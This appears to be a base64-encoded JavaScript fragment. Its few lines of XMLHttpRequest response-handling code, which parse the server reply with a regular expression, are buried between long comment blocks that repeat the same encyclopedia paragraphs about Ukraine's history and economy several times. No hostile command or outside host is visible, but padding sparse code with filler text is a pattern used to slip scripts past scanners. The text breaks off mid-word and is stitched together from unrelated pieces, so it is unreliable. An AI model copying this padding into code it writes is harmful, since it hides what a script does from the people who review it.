VW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJCX0KCQl9Cgl9CglmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgewoJCWlmKCAocmVxLnJlYWR5U3RhdGUgPT0gNCkgKQoJCQlpZihyZXEuc3RhdHVzID09IDIwMCkgewovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCS8vYWxlcnQocmVxLnJlc3BvbnNlVGV4dCk7CgkJCQl2YXIgcmVnID0gbmV3IFJlZ0V4cCgiKFxcZCspKFtcXFNcXHNdKikiLCAibSIpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCXZhciBhcnI9cmVnLmV4ZWMocmVxLnJlc3BvbnNlVGV4dCk7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93